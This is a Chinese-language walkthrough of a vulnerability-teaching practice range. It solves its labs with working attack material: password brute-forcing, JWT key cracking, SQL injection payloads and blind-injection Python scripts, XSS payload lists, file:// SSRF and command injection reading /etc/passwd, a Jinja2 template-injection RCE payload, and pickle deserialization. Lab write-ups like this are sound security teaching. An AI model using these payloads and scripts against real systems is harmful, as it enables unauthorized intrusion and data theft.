青衿之志,履践致远

Pilot漏洞测试教学靶场:解题手册

此篇为Pilot漏洞测试教学靶场配套的解题WriteUp,共30个漏洞题目...

项目原文:Pilot漏洞测试教学靶场


暴力破解

用户名枚举

  1. 登录表单随意输入用户名和密码,使用BurpSuite抓住后台登录数据包:

  2. 发现响应包提示”账号不存在“,修改username参数值为常见管理员账户:admin,并重新发包测试:

  3. 发现响应包变化为“密码错误”,说明账号已存在系统内不用注册。将数据包发送至爆破模块测试:

  4. username参数处添加变量,并设置payload为常见用户名和与系统相关的用户名,进行枚举测试:

  5. 通过长度排序,发现存在用户账号adminfanqie

  6. 在最下方发现存在账号pilot,且成功碰撞弱口令密码123456

  7. 该处还可通过手机号登录,因此同时存在用户手机号枚举问题。

 

弱口令枚举

  1. 根据 用户名枚举 中获取的账号或手机号,对账号adminfanqie进行弱口令枚举。

  2. 在登录处抓包接口,并发送至爆破模块,对password参数添加变量:

  3. 设置Payload部分,导入您的常用密码字典,并取消Payload编码:

  4. 通过长度排序,发现唯一不同的响应包,提示登录成功:

  5. 所以admin账户密码为admin,对账号fanqie进行爆破:

  6. 找到成功的响应包,账号fanqie的密码为p@ssw0rd

 

Token伪造

  1. 使用任意账号登录,并抓包。这里以账号密码pilot/123456为例:

  2. 在响应包中获得Token值。返回WEB页面,点击身份认证按钮并抓包:

  3. 可以成功验证登录账号身份为pilot

  4. 修改参数username为管理员账号admin,尝试伪造身份:

  5. 提示Token过期或错误,说明Token信息与username参数传入的值不匹配,无法验证admin身份。

  6. 复制Token值至Token爆破工具jwtcracker,尝试爆破密钥:

  7. 获得Token密钥为“1”,通过JWT官方网站伪造Token:

  8. 复制修改后的Token,替换身份认证API中的Token值,再次验证:

  9. 通过修改Token,成功伪造身份为admin

 


验证码缺陷

客户端验证码绕过

  1. 在WEB页面登录任意账号,输入正确的验证码,并抓包:

  2. 可以发现登录Post数据包中并没有上传验证码值至服务端,而是通过参数verify的值判断是否通过验证码。

  3. 由此可以确定,判断验证码是否正确的逻辑,位于WEB客户端的JS代码中,通过F12找到关键代码:

  4. 验证码只在客户端有效,登录接口抓包后,只需固定参数verify=true,则仍可以进行密码爆破。

 

服务端验证码绕过

  1. 在WEB页面登录任意账号,输入正确的验证码,并抓包:

  2. 可以发现登录请求包附带了页面输入的验证码,此时修改密码为错误密码,并重放:

  3. 请求包在没有修改验证码的情况下,提示“用户名或密码错误”,而不是验证码错误。

  4. 此时再修改密码为正确密码,验证码不变,依旧可以登录成功:

  5. 可以发现,验证码虽然经过服务端验证,但是在登录失败时或登录成功后,验证码均未刷新。

  6. 因此只需服务端首次完成验证码判断后,固定参数code值不变,则仍可进行密码枚举。

 


敏感信息泄露

系统信息泄露

  1. 进入漏洞页面后抓包,并点击页面中唯一按钮先去下一关,发现向服务端发送了一条GET请求:

  2. 根据响应包提示,在参数param处输入字符'

  3. 可以发现接口返回状态500,并爆出一条数据库错误,此处泄漏了后端SQL信息。在拦截出修改参数并放包:

  4. 找到了第一个系统信息泄露点。

  5. 在BurpSuite,HTTP历史记录里,通过信息扫描插件(如Hae、FinfoX等)或JS审计,可以发现一条JS请求泄露了内网IP,该IP可能是WEB服务器内网下的其他主机:

  6. 找到了第二个系统信息泄漏点。

  7. 考虑到系统信息泄露的方式,对网页目录进行扫描,看是否存在备份文件或其他泄露文件。

  8. 此处使用Bp进行扫描,您也可以使用专门的目录扫描器,在爆破模块中加入变量并导入备份文件字典:

  9. 扫描到存在1.zip,该网站可能存在备份文件:

  10. 找到了第三个系统信息泄露点。

 

隐私信息泄露

  1. 进入漏洞页面,发现此页展示了用户银行卡绑定信息,且对关键隐私信息进行了打码屏蔽:

  2. 抓包刷新页面,发现获取数据的接口,重放后发现接口并未对手机号和银行卡等信息打码:

  3. 因此可以分析,此处对隐私信息的打码位于客户端的JS代码中,只能起到掩耳盗铃的作用,无法保障隐私数据安全。

 

账户信息泄露

  1. 进入漏洞页面,可以注意到此处的登陆口不同于前面部分,尝试登录系统存在账号,发现无法登录:

  2. 根据漏洞名,可以判断账户信息可能通过某处泄露。对该页面抓包检查:

  3. 在HTML页面中,发现了注释遗留的测试账号信息,可以成功进行登录:

 


权限控制

未授权访问

  1. 进入漏洞页面,使用管理员账号密码admin/admin登录,进入管理员:账户权限管理处:

  2. 抓包,选择pilot用户,选择其UID为管理员权限,点击修改按钮:

  3. 发现修改功能接口不存在Cookie认证或Token认证,即没有任何认证便可以修改数据,达到未授权访问标准。

  4. 对于该类漏洞挖掘,可以通过Burp插件(如Auth等)或是前台接口来发现,危害极大:

 

水平越权

  1. 选取两个权限相同的账号pilotfanqie,登录pilot/123456

  2. 抓包,输入手机号为:10010,点击修改即可修改自己的账号信息:

  3. 在不改变Token的情况下,将username参数修改为fanqie,尝试修改其他用户手机号:

  4. 登录fanqie账号可以发现,信息已被水平越权修改:

 

垂直越权

  1. 选取两个权限不同的账号adminpilot,登录pilot/123456

  2. 抓包,输入手机号为:10086,点击修改即可修改自己的账号信息:

  3. 在不改变Token的情况下,将username参数修改为admin,尝试修改高权限用户手机号:

  4. 登录admin账号可以发现,信息已被垂直越权修改:

 


SQL注入

Mysql注入

  1. 进入漏洞页面,随意登录,并抓取登录数据包:

    • 此时的Sql语句为:SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
  2. 对登录时通常不会进行加密存储的username参数进行Sql注入测试:

    • 此时的Sql语句为:SELECT USERNAME FROM USER WHERE (USERNAME = 'admin'' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3'),语法错误。
  3. 可以发现后端数据库产生报错。此处为登录接口,回显点为username,即一般考虑联合查询、布尔注入、时间盲注、布尔盲注、报错注入。

  4. 首先进行联合查询测试,尝试查询数据库名称:

    • 此时的Sql语句为:SELECT USERNAME FROM USER WHERE (USERNAME = '-1') UNION SELECT database()-- PASSWORD = '21232f297a57a5a743894a0e4a801fc3')-- 是注释符。
  5. 其次进行布尔测试,判断SQL语句闭合情况,并进行无密码登录:

    • 此时的Sql语句为:SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' or '1'='1')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')-- 是注释符。

    • 此时的Sql语句为:SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' or '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
  6. 可以发现以上两种情况可以正确闭合Sql语句。通过布尔盲注爆破库名,这里演示为使用BurpSuite完成:

    • 此时的Sql语句为:SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and substr(database(),1,1)='a')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
  7. 尝试是否可以进行延时注入,对数据库进行5秒延时:

    • 此时的Sql语句为:SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and sleep(5))-- 'AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
  8. 可以进行延时注入。尝试时间盲注爆破库名,这里演示为使用Python脚本完成:

    import requests
    import time
     
    url = 'URL网址'
    flag = ''
     
    for i in range(1,1000):
        high = 127
        low = 32
        mid = (low + high) // 2
        while high > low:
            payload = f"admin' and if(ascii(substr(database(),{i},1))>{mid},sleep(3),1))-- "
            data = {
                "username":payload,
                "password":'1'
            }      
            last = int(time.time())
            response = requests.post(url, data = data)
            now = int(time.time())
            if now - last > 1 :    
                low = mid + 1
            else :
                high = mid
            mid = (low + high) // 2 
        if low != 32 :
            flag += chr(int(low))
        else:
            break
        print(flag)
    
    • 此时的Sql语句为:SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and if(ascii(substr(database(),1,1))>97,sleep(3),1))-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
  9. 因为之前已经验证过此处会返回SQL语句报错,故也可以进行报错注入:

    • 此时的Sql语句为:SELECT USERNAME FROM USER WHERE (USERNAME = 'admin'and updatexml(0x7e,concat(0x7e, (select database())),0x7e) and '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3'),会报错出数据库名。
  10. 除了登录接口可以注入外,登录后的信息获取接口也可以进行布尔注入、时间注入和报错注入,因为原理一样,此处不再演示。

     

Mssql注入

  1. 进入漏洞页面,随意登录,并抓取登录数据包:

    • 此时的Sql语句为:SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
  2. 对登录时通常不会进行加密存储的username参数进行Sql注入测试:

    • 此时的Sql语句为:SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin'' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3'),语法错误。
  3. 可以发现后端数据库产生报错。此处为登录接口,回显点为username,即一般考虑联合查询、布尔注入、时间盲注、布尔盲注、报错注入。

  4. 首先进行联合查询测试,尝试查询数据库名称:

    • 此时的Sql语句为:SELECT USERNAME FROM USER WHERE (USERNAME = '-1') UNION SELECT db_name()-- PASSWORD = '21232f297a57a5a743894a0e4a801fc3')-- 是注释符。
  5. 首先进行布尔测试,判断SQL语句闭合情况,并进行无密码登录:

    • 此时的Sql语句为:SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' or '1'='1')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')-- 是注释符。

    • 此时的Sql语句为:SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' or '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
  6. 可以发现以上两种情况可以正确闭合Sql语句。通过布尔盲注爆破库名,这里演示为使用BurpSuite完成:

    • 此时的Sql语句为:SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' and substring(db_name(),1,1)='a')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
  7. 尝试是否可以进行延时注入,对数据库进行5秒延时:

    • 此时的Sql语句为:SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin');waitfor delay '0:0:5'-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3'),因为waitfor delay的特性,此处使用了堆叠注入进行配合。
  8. 可以进行延时注入。尝试时间盲注爆破库名,这里演示为使用Python脚本完成:

    import requests
    import time
     
    url = 'URL网址'
    flag = ''
     
    for i in range(1,1000):
        high = 127
        low = 32
        mid = (low + high) // 2
        while high > low:
            payload = f"admin');if(ascii(substring(db_name(),{i},1))) > {mid} waitfor delay '0:0:3'-- "
            data = {
                "username":payload,
                "password":'1'
            }      
            last = int(time.time())
            response = requests.post(url, data = data)
            now = int(time.time())
            if now - last > 1 :    
                low = mid + 1
            else :
                high = mid
            mid = (low + high) // 2 
        if low != 32 :
            flag += chr(int(low))
        else:
            break
        print(flag)
    
    • 此时的Sql语句为:SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin'); if(ascii(substring(db_name(),{i},1))) > {mid} waitfor delay '0:0:3'-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
  9. 因为之前已经验证过此处会返回SQL语句报错,故也可以进行报错注入:、

    • 此时的Sql语句为:SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = '1' and 1=convert(int,db_name()))-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3'),类型转换会报错出数据库名。
  10. 除了登录接口可以注入外,登录后的信息获取接口也可以进行布尔注入、时间注入和报错注入,因为原理一样,此处不再演示。

 

PostgreSql注入

  1. 进入漏洞页面,随意登录,并抓取登录数据包:

    • 此时的Sql语句为:SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
  2. 对登录时通常不会进行加密存储的username参数进行Sql注入测试:

    • 此时的Sql语句为:SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin'' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3'),语法错误。
  3. 可以发现后端数据库产生报错。此处为登录接口,回显点为username,即一般考虑联合查询、布尔注入、时间盲注、布尔盲注、报错注入。

  4. 首先进行联合查询测试,尝试查询数据库名称:

    • 此时的Sql语句为:SELECT USERNAME FROM USER WHERE (USERNAME = '-1') UNION SELECT current_database() -- PASSWORD = '21232f297a57a5a743894a0e4a801fc3')-- 是注释符。
  5. 首先进行布尔测试,判断SQL语句闭合情况,并进行无密码登录:

    • 此时的Sql语句为:SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' or '1'='1')-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')-- 是注释符。

    • 此时的Sql语句为:SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' or '1'='1' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
  6. 可以发现以上两种情况可以正确闭合Sql语句。通过布尔盲注爆破库名,这里演示为使用BurpSuite完成:

    • 此时的Sql语句为:SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' and substring(current_database(),1,1)='a')-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
  7. 尝试是否可以进行延时注入,对数据库进行5秒延时:

    • 此时的Sql语句为:SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' or (select pg_sleep(5)) is null)-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
  8. 可以进行延时注入。尝试时间盲注爆破库名,这里演示为使用Python脚本完成:

    import requests
    import time
     
    url = 'URL网址'
    flag = ''
     
    for i in range(1,1000):
        high = 127
        low = 32
        mid = (low + high) // 2
        while high > low:
            payload = f"admin' and (select case when(ascii(substring(current_database(),{i},1))>{mid}) then pg_sleep(3) else null end) is null)-- "
            data = {
                "username":payload,
                "password":'1'
            }      
            last = int(time.time())
            response = requests.post(url, data = data)
            now = int(time.time())
            if now - last > 1 :    
                low = mid + 1
            else :
                high = mid
            mid = (low + high) // 2 
        if low != 32 :
            flag += chr(int(low))
        else:
            break
        print(flag)
    
    • 此时的Sql语句为:SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' and (select case when(ascii(substring(current_database(),{i},1))>{mid}) then pg_sleep(3) else null end) is null)-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
  9. 因为之前已经验证过此处会返回SQL语句报错,故也可以进行报错注入:

    • 此时的Sql语句为:SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin')and cast((select version()) as int)=1-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3'),类型转换会报错出数据库版本号。
  10. 除了登录接口可以注入外,登录后的信息获取接口也可以进行布尔注入、时间注入和报错注入,因为原理一样,此处不再演示。

 


XSS跨站脚本

反射型XSS

  1. 进入漏洞页面后,在搜索框输入跨站脚本payload:

  2. 发现<script>标签未正常触发XSS,使用<img>标签进行测试:

  3. 成功进行XSS,除此标签外,以下标签也可以在本题中XSS:

    • <input onfocus="alert('xss');">
    • <iframe onload=alert("xss");></iframe>
    • <audio src=x onerror=alert("xss");>
    • <a onclick=alert(1)>M
    • <div onclick="alert('xss')">
    • <svg onclick="alert('xss')">
    • <form/action=javascript:alert(22)><input/type=submit>
    • ……

 

存储型XSS

  1. 进入漏洞页面后抓包,登录admin账号,发现日志记录了登录时IP地址:

  2. 考虑在登录请求包中伪造IP:

  3. 刷新页面并重新登录,触发XSS:

  4. 除此标签外,以下标签也可以在本题中XSS:

    • <img src=1 onerror=alert(1)>
    • <input onfocus="alert('xss');">
    • <iframe onload=alert("xss");></iframe>
    • <audio src=x onerror=alert("xss");><
    • <a onclick=alert(1)>M
    • <div onclick="alert('xss')">
    • <svg onclick="alert('xss')">
    • <form/action=javascript:alert(22)><input/type=submit>
    • ……

DOM型XSS

  1. 进入漏洞页面后,在输入框输入跨站脚本payload:

  2. 发现<script>标签无法触发XSS,使用<img>标签进行测试:

  3. 成功进行XSS,除此标签外,以下标签也可以在本题中XSS:

    • <input onfocus="alert('xss');">
    • <iframe onload=alert("xss");></iframe>
    • <audio src=x onerror=alert("xss");>
    • <a onclick=alert(1)>M
    • <div onclick="alert('xss')">
    • <svg onclick="alert('xss')">
    • <form/action=javascript:alert(22)><input/type=submit>
    • ……

 


URL重定向

不安全的URL跳转

  1. 进入漏洞页面后,打开F12元素,并指向图片:

  2. 发现图片通过链接远程加载,考虑该URL是否可以恶意跳转。

  3. 抓包后,点击该图片,发现存在重定向:

  4. 在请求包修改重定向链接到http://www.baidu.com,发现可以成功跳转到百度页面:

     


SSRF服务端请求伪造

SSRF远程解析

  1. 进入漏洞页面后,抓包,并点击链接留给初学者的一段话

  2. 发现请求了其他网页的文件内容,并展示在前端页面:

  3. 修改请求连接的参数url,尝试使用file://伪协议读取本地文件内容:

  4. 成功读取passwd文件。注意,这里只开放了file/http/https协议。

 


CSRF跨站请求伪造

CSRF

  1. 进入漏洞页面,登录admin账号:

  2. 抓包,点击确认修改按钮:

  3. 发现是GET请求;删除请求头中Referer和Origin字段,不影响发包;且认证信息通过Cookie存储,而不是Token,很容易造成GET型的CSRF。

  4. 在Burp中右键请求包,选择相关工具中的生产CSRF POC,修改参数phone的值为114514,点击在浏览器中测试:

  5. 复制链接后,在第一步登录admin后的浏览器页面中打开,发现修改成功:

  6. 回到漏洞页面,重新登录后,发现数据已经被修改:

 


文件上传

前端校验

  1. 进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:

    • 例如在HTML文件中写入<img src=1 onerror=alert(1)>
  2. 通过F12找到上传检查的代码,或直接搜索关键词(如png、jpg):

  3. 可以发现只允许上传固定后缀的文件。将准备好的html文件后缀修改为png,抓包后上传:

  4. 将请求包的filename参数后缀改回HTML,成功上传:

  5. 访问上后的文件地址,成功进行XSS:

 

后端后缀黑名单

  1. 进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:

    • 例如在HTML文件中写入<img src=1 onerror=alert(1)>
  2. 通过F12找到上传检查的代码,发现并无限制。选择文件,抓包上传:

  3. 发现后端加入了文件类型判断,考虑进行绕过。

  4. 绕过方式1:尝试未被屏蔽的其他后缀替代,如html->htmphp->php5docx->doc

  5. 绕过方式2:尝试使用大小写绕过,如html->Html

  6. 除此之外,还有一些绕过方式不适合本题(代码写法和Linux系统原因):双写绕过、后缀加.、后缀加空格或其他非法字符、::$DATA绕过、%00截断绕过等。

 

后端校验类型

  1. 进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:

    • 例如在HTML文件中写入<img src=1 onerror=alert(1)>
  2. 通过F12找到上传检查的代码,发现并无限制。选择文件,抓包上传:

  3. 上传失败,修改后缀为.htm进行绕过,发现依旧无法上传:

  4. 同时修改Content-Type值为image/jpeg,尝试绕过类型检查:

  5. 成功上传,且可以访问造成XSS:

  6. 除此之外,还可能对图片特有的文件头进行检查,或采用白名单限制,提高安全性。

 

目录穿越

  1. 进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:

    • 例如在HTML文件中写入<img src=1 onerror=alert(1)>
  2. 通过F12找到上传检查的代码,发现并无限制。选择文件,抓包上传:

  3. 发现并没有任何过滤即可上传,且未对文件加密,并返回了文件存储路径。

  4. 尝试修改文件名,看能否穿越目录上传恶意HTML文件:

  5. 成功上传至上一级目录,并造成XSS:

 


文件下载

任意文件下载

  1. 进入漏洞页面,抓包并下载任意文件:

  2. 发现参数file传入了文件名,尝试穿越目录下载任意文件:

 


RCE远程命令执行

命令执行

  1. 进入漏洞页面,发现服务器进程监控每隔固定时间会刷新。

  2. 抓包拦截刷新请求,发现通过Base64编码进行了命令执行,返回了进程信息:

  3. 修改命令为cat /etc/passwd,读取虚拟机的密码信息:

  4. 成功执行命令。

 

拼接命令执行

  1. 进入漏洞页面,抓包并刷入本地回环地址,尝试PING:

  2. 直接返回了PING的结果,考虑直接执行了命令,在地址后对命令进行拼接:

  3. 管道符 | 将前一个命令的输出作为后一个命令的输入进行处理;两个管道符表示前一个命令执行成功则不执行后面的命令,因为ls无需接受输入,所以直接输出了ls的结果。

 


SSTI模板注入

JINJA2模板注入

  1. 在漏洞页面直接输入Payload即可,尝试表达式{{7*7}}进行运算:

  2. 尝试执行命令,打印字符(payload有多种,这里随便测试一种):

    • {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("echo fanqie").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

 


XML外部实体注入

XXE

  1. 在漏洞页面直接输入xml代码即可,尝试打印字符串:

    • ]> &fanqie;

  2. 尝试外部实体注入(XXE),读取系统文件:

    • ]> &fanqie;

 


Python反序列化

pickle反序列化

  1. 进入漏洞页面,发现服务器进程监控每隔固定时间会刷新。

  2. 抓包拦截刷新请求,发现通过Base64编码进行了命令执行,但无法解码出命令:

  3. 根据格式判断,此处考虑解码后的数据经过Pickle序列化为字节类型,所以写脚本尝试验证:

    import base64, pickle
    data = "gASVDwAAAAAAAACMC3RvcCAtYiAtbiAxlC4="
    print(pickle.loads(base64.b64decode(data)))
    
  4. 成功反序列化出命令。重新写脚本,将需要执行的系统命令序列化并编码:

    import pickle,base64
    print(base64.b64encode(pickle.dumps("echo 'python pickle serialize'")))
    
  5. 将生成的字符串编码放入请求包重新执行,成功执行命令:

 

添加新评论